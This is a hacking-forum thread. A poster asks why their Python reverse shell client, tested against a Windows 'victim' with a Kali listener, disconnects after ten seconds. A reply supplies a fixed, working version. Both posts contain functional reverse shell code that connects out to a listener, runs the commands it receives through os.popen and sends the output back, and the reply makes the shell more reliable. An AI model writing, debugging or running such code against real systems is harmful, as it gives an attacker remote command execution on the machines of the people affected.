Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Help with Python reverse shell connection drops after 10 secon

Hey everyone,

I'm working on a small Python reverse shell for educational purposes (my own lab environment). Everything works fine, but the connection drops after exactly 10 seconds every time. No errors on either side.

Here's a simplified version of my client code:

python
import socket

s = socket.socket()
s.connect(("127.0.0.1", 4444))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
break
output = os.popen(cmd).read()
s.send(output.encode())
s.close()
I'm testing on Windows 10 (victim) and Kali (listener). No AV running. Tried adding time.sleep(1) and checking for closed sockets but still the same issue.

Anyone seen this before? Could it be a firewall on the Windows side or something with recv() timing out?

Thanks in advance.
Hmm could be some firewall problems, other wise try this?

Code
import socket
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 4444))

while True:
    cmd = s.recv(1024)
    if not cmd:
        break
    cmd = cmd.decode().strip()
    if cmd.lower() == "exit":
        break
    output = os.popen(cmd).read()
    s.sendall(output.encode())

s.close()


Possibly Related Threads...
Thread / Author Replies Views Last Post
by lokichNov 29, 2025 10:50 PM 4 152 Nov 29, 2025 10:50 PM
Last Post: lokich
by lloyd1515Aug 7, 2024 11:50 AM 11 356 Aug 7, 2024 11:50 AM
Last Post: BlackSoulZN5006
by SIM-5457022Jul 11, 2024 11:42 AM 10 244 Jul 11, 2024 11:42 AM
Last Post: SIM-5519216